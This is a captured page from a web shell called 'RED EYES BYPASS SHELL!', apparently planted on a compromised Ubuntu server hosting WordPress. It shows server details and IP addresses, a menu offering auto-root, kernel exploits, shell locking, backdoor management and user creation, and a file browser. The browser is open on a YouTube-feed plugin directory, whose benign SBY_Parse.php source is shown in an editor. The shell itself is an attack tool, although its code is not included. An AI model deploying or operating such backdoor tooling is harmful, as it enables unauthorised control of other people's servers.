Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
plugins /
feeds-for-youtube /
inc /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Admin
[ DIR ]
drwxr-xr-x
Blocks
[ DIR ]
drwxr-xr-x
Builder
[ DIR ]
drwxr-xr-x
Customizer
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Helpers
[ DIR ]
drwxr-xr-x
Services
[ DIR ]
drwxr-xr-x
Container.php
1.05
KB
-rwxr-xr-x
Feed_Locator.php
12.99
KB
-rwxr-xr-x
HTTP_Request.php
1.87
KB
-rwxr-xr-x
PluginSilentUpgrader.php
22.29
KB
-rwxr-xr-x
PluginSilentUpgraderSkin.php
1.15
KB
-rwxr-xr-x
Response.php
642
B
-rwxr-xr-x
SBY_API_Connect.php
9.77
KB
-rwxr-xr-x
SBY_Cache.php
4.72
KB
-rwxr-xr-x
SBY_Cron_Updater.php
6.94
KB
-rwxr-xr-x
SBY_Display_Elements.php
35.4
KB
-rwxr-xr-x
SBY_Feed.php
57.79
KB
-rwxr-xr-x
SBY_GDPR_Integrations.php
2.01
KB
-rwxr-xr-x
SBY_Parse.php
12.28
KB
-rwxr-xr-x
SBY_Posts_Manager.php
7.25
KB
-rwxr-xr-x
SBY_RSS_Connect.php
4.74
KB
-rwxr-xr-x
SBY_Settings.php
16.74
KB
-rwxr-xr-x
SBY_Vars.php
1.03
KB
-rwxr-xr-x
SBY_View.php
777
B
-rwxr-xr-x
SBY_WP_Post.php
6.66
KB
-rwxr-xr-x
SB_YouTube_Data_Encryption.php
3.83
KB
-rwxr-xr-x
SbyWidget.php
2.36
KB
-rwxr-xr-x
class-install-skin.php
584
B
-rwxr-xr-x
sby-functions.php
37.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SBY_Parse.php
<?php namespace SmashBalloon\YouTubeFeed; class SBY_Parse { /** * @param $post array * * @return mixed * * @since 1.0 */ public static function get_post_id( $post ) { if ( isset( $post['id'] ) && ! is_array( $post['id'] ) ) { return $post['id']; } else { return SBY_Parse::get_channel_id( $post ) . '_' . SBY_Parse::get_video_id( $post ); } } public static function get_subscriber_count( $channel_data ) { if ( isset( $channel_data['items'][0]['statistics']['subscriberCount'] ) ) { return $channel_data['items'][0]['statistics']['subscriberCount']; } return ''; } public static function get_video_id( $post ) { if ( isset( $post['snippet']['resourceId']['videoId'] ) ) { return $post['snippet']['resourceId']['videoId']; } elseif ( isset( $post['id']['videoId'] ) ) { return $post['id']['videoId']; } elseif ( isset( $post['id']) ) { return $post['id']; } return ''; } /** * @param $post array * * @return false|int * * @since 1.0 */ public static function get_timestamp( $post ) { $timestamp = 0; if ( isset( $post['contentDetails']['videoPublishedAt'] ) ) { $data = $post['contentDetails']['videoPublishedAt']; } elseif ( isset( $post['snippet']['publishedAt'] ) ) { $data = $post['snippet']['publishedAt']; } if ( isset( $data ) ) { $remove_extra = str_replace( array( 'T', '+00:00', '.000Z', '+' ), ' ', $data ); $timestamp = strtotime( $remove_extra ); } return $timestamp; } /** * @param $post array * * @return mixed * * @since 1.0 */ public static function get_permalink( $post ) { if ( isset( $post['snippet']['resourceId']['videoId'] ) ) { return 'https://www.youtube.com/watch?v=' . $post['snippet']['resourceId']['videoId']; } elseif ( isset( $post['snippet']['channelId'] ) ) { return 'https://www.youtube.com/channel/' . $post['snippet']['channelId']; } return 'https://www.youtube.com/'; } /** * @param array $post * @param string $resolution * * @return string * * @since 1.0 */ public static function get_media_url( $post, $resolution = 'lightbox' ) { $thumbnail_key = 'standard'; switch ( $resolution ) { case 'thumb' : $thumbnail_key = 'default'; break; case 'medium' : $thumbnail_key = 'medium'; break; case 'high' : $thumbnail_key = 'high'; break; case 'lightbox' : $thumbnail_key = 'maxres'; break; } if ( isset( $post['snippet']['thumbnails'][ $thumbnail_key ]['url'] ) ) { return $post['snippet']['thumbnails'][ $thumbnail_key ]['url']; } elseif ( isset( $post['snippet']['thumbnails']['high']['url'] ) ) { return $post['snippet']['thumbnails']['high']['url']; } elseif ( isset( $post['snippet']['thumbnails']['medium']['url'] ) ) { return $post['snippet']['thumbnails']['medium']['url']; } return ''; } /** * Uses the existing data for the individual YouTube post to * set the best image sources for each resolution size. Due to * random bugs or just how the API works, different post types * need special treatment. * * @param array $post * @param array $resized_images * * @return array * * @since 1.0 */ public static function get_media_src_set( $post, $resized_images = array() ) { $media_urls = array(); $thumbnails = isset( $post['snippet']['thumbnails'] ) ? $post['snippet']['thumbnails'] : false; $largest_found = ''; if ( $thumbnails ) { if ( isset( $thumbnails['default']['url'] ) ) { $media_urls['120'] = $thumbnails['default']['url']; $largest_found = $thumbnails['default']['url']; } else { $media_urls['120'] = $largest_found; } if ( isset( $thumbnails['medium']['url'] ) ) { $media_urls['320'] = $thumbnails['medium']['url']; $largest_found = $thumbnails['medium']['url']; } else { $media_urls['320'] = $largest_found; } if ( isset( $thumbnails['high']['url'] ) ) { $media_urls['480'] = $thumbnails['high']['url']; $largest_found = $thumbnails['high']['url']; } else { $media_urls['480'] = $largest_found; } if ( isset( $thumbnails['standard']['url'] ) ) { $media_urls['640'] = $thumbnails['standard']['url']; } else { $media_urls['640'] = $largest_found; } } return $media_urls; } /** * A default can be set in the case that the user doesn't use captions * for posts as this is also used as the alt text for the image. * * @param $post * @param string $default * * @return string * * @since 1.0 */ public static function get_caption( $post, $default = '' ) { $caption = $default; if ( isset( $post['snippet']['description'] ) ) { $caption = $post['snippet']['description']; } return $caption; } public static function get_pro_caption( $post, $default = '', $misc_data = array() ) { $caption = $default; if ( isset( $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_description'] ) ) { $caption = $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_description']; } elseif ( isset( $post['snippet']['description'] ) ) { $caption = $post['snippet']['description']; } return $caption; } /** * @param $post array * * @return int * * @since 5.0 */ public static function get_like_count( $post, $misc_data = array() ) { if ( isset( $post['statistics']['likeCount'] ) ) { return $post['statistics']['likeCount']; } elseif ( isset( $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_like_count'] ) ) { return $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_like_count']; } elseif ( isset( $misc_data['sby_like_count'][0] ) ) { return (float)$misc_data['sby_like_count'][0]; } return ''; } /** * @param $post array * * @return int * * @since 5.0 */ public static function get_comment_count( $post, $misc_data = array() ) { if ( isset( $post['statistics']['commentCount'] ) ) { return $post['statistics']['commentCount']; } elseif ( isset( $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_comment_count'] ) ) { return (float)$misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_comment_count']; } elseif ( isset( $misc_data['sby_comment_count'][0] ) ) { return (float)$misc_data['sby_comment_count'][0]; } return ''; } public static function get_view_count( $post, $misc_data = array() ) { if ( isset( $post['statistics']['viewCount'] ) ) { return $post['statistics']['viewCount']; } elseif ( isset( $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_view_count'] ) ) { return $misc_data['stats'][ SBY_Parse::get_video_id( $post ) ]['sby_view_count']; } elseif ( isset( $misc_data['sby_view_count'][0] ) ) { return $misc_data['sby_view_count'][0]; } return ''; } public static function get_live_broadcast_content( $post, $misc_data = array() ) { if ( isset( $post['snippet']['liveBroadcastContent'] ) ) { return $post['snippet']['liveBroadcastContent']; } elseif ( isset( $misc_data['sby_live_broadcast_content'][0] ) ) { return $misc_data['sby_live_broadcast_content'][0]; } elseif ( isset( $post['sby_live_broadcast_content'] ) ) { return $post['sby_live_broadcast_content']; } return 'none'; } public static function get_live_streaming_timestamp( $post, $misc_data = array() ) { $actual_start_timestamp = self::get_actual_start_timestamp( $post, $misc_data ); if ( $actual_start_timestamp > 0 ) { return $actual_start_timestamp; } return self::get_scheduled_start_timestamp( $post, $misc_data ); } public static function get_scheduled_start_timestamp( $post, $misc_data = array() ) { if ( ! empty( $post['liveStreamingDetails']['scheduledStartTime'] ) ) { $remove_extra = str_replace( array( 'T', '+00:00', '.000Z', '+' ), ' ', $post['liveStreamingDetails']['scheduledStartTime'] ); $timestamp = strtotime( $remove_extra ); return $timestamp; } elseif ( isset( $misc_data['live_streaming_details'][ SBY_Parse::get_video_id( $post ) ]['sby_scheduled_start_time'] ) ) { return strtotime( $misc_data['live_streaming_details'][ SBY_Parse::get_video_id( $post ) ]['sby_scheduled_start_time'] ); } elseif ( isset( $misc_data['sby_scheduled_start_time'][0] ) ) { return strtotime( $misc_data['sby_scheduled_start_time'][0] ); } elseif ( isset( $post['sby_scheduled_start_time'] ) ) { return strtotime( $post['sby_scheduled_start_time'] ); } return 0; } public static function get_actual_start_timestamp( $post, $misc_data = array() ) { if ( ! empty( $post['liveStreamingDetails']['actualStartTime'] ) ) { $remove_extra = str_replace( array( 'T', '+00:00', '.000Z', '+' ), ' ', $post['liveStreamingDetails']['actualStartTime'] ); $timestamp = strtotime( $remove_extra ); return $timestamp; } elseif ( isset( $misc_data['live_streaming_details'][ SBY_Parse::get_video_id( $post ) ]['sby_actual_start_time'] ) ) { return strtotime( $misc_data['live_streaming_details'][ SBY_Parse::get_video_id( $post ) ]['sby_actual_start_time'] ); } elseif ( isset( $misc_data['sby_actual_start_time'][0] ) ) { return strtotime( $misc_data['sby_actual_start_time'][0] ); } elseif ( isset( $post['sby_actual_start_time'] ) ) { return strtotime( $post['sby_actual_start_time'] ); } return 0; } public static function get_video_title( $channel_or_playlist_item_data ) { if ( isset( $channel_or_playlist_item_data['items'][0]['snippet']['title'] ) ) { return $channel_or_playlist_item_data['items'][0]['snippet']['title']; } else if ( isset( $channel_or_playlist_item_data['snippet']['title'] ) ) { return $channel_or_playlist_item_data['snippet']['title']; } return ''; } public static function get_channel_id( $channel_or_playlist_item_data ) { if ( isset( $channel_or_playlist_item_data['items'][0]['id'] ) ) { return $channel_or_playlist_item_data['items'][0]['id']; } elseif ( isset( $channel_or_playlist_item_data['snippet']['channelId'] ) ) { return $channel_or_playlist_item_data['snippet']['channelId']; } elseif ( isset( $channel_or_playlist_item_data['id'] ) ) { return $channel_or_playlist_item_data['id']; } return ''; } public static function get_channel_title( $channel_or_playlist_item_data ) { if ( isset( $channel_or_playlist_item_data['items'][0]['snippet']['title'] ) ) { return $channel_or_playlist_item_data['items'][0]['snippet']['title']; } elseif ( isset( $channel_or_playlist_item_data['snippet']['channelTitle'] ) ) { return $channel_or_playlist_item_data['snippet']['channelTitle']; } return ''; } public static function get_channel_permalink( $channel_data ) { return 'https://www.youtube.com/channel/' . SBY_Parse::get_channel_id( $channel_data ) . '/'; } /** * @param array $header_data * @param array $settings * * @return string * * @since 1.0 */ public static function get_avatar( $header_data, $settings = array( 'favor_local' => false ) ) { if ( $settings['favor_local'] && ! empty( $header_data['local_avatar'] ) ) { return $header_data['local_avatar']; } else { if ( isset( $header_data['items'][0]['snippet']['thumbnails'] ) ) { $header_size = isset( $settings['headersize'] ) ? $settings['headersize'] : ''; if ( $header_size === 'large' ) { return $header_data['items'][0]['snippet']['thumbnails']['high']['url']; } elseif ( $header_size === 'medium' ) { return $header_data['items'][0]['snippet']['thumbnails']['medium']['url']; } else { return $header_data['items'][0]['snippet']['thumbnails']['default']['url']; } } } return ''; } public static function get_item_avatar( $post, $avatars ) { if ( empty ( $avatars ) ) { return ''; } else { $username = SBY_Parse::get_channel_id( $post ); if ( isset( $avatars[ $username ] ) ) { return $avatars[ $username ]; } } return ''; } /** * Account bio/description used in header * * @param $header_data * * @return string * * @since 1.0 */ public static function get_channel_description( $header_data ) { if ( isset( $header_data['items'][0]['snippet']['description'] ) ) { return $header_data['items'][0]['snippet']['description']; } return ''; } /** * Parse quoted strings as boolean such as 'true' and 'false' * * @since 2.0 */ public static function parse_quoted_string_as_boolean( $settings ) { foreach($settings as $key => $value) { if ( $value == 'true' ) { $settings[$key] = true; } if ( $value == 'false' ) { $settings[$key] = false; } } return $settings; } }
Close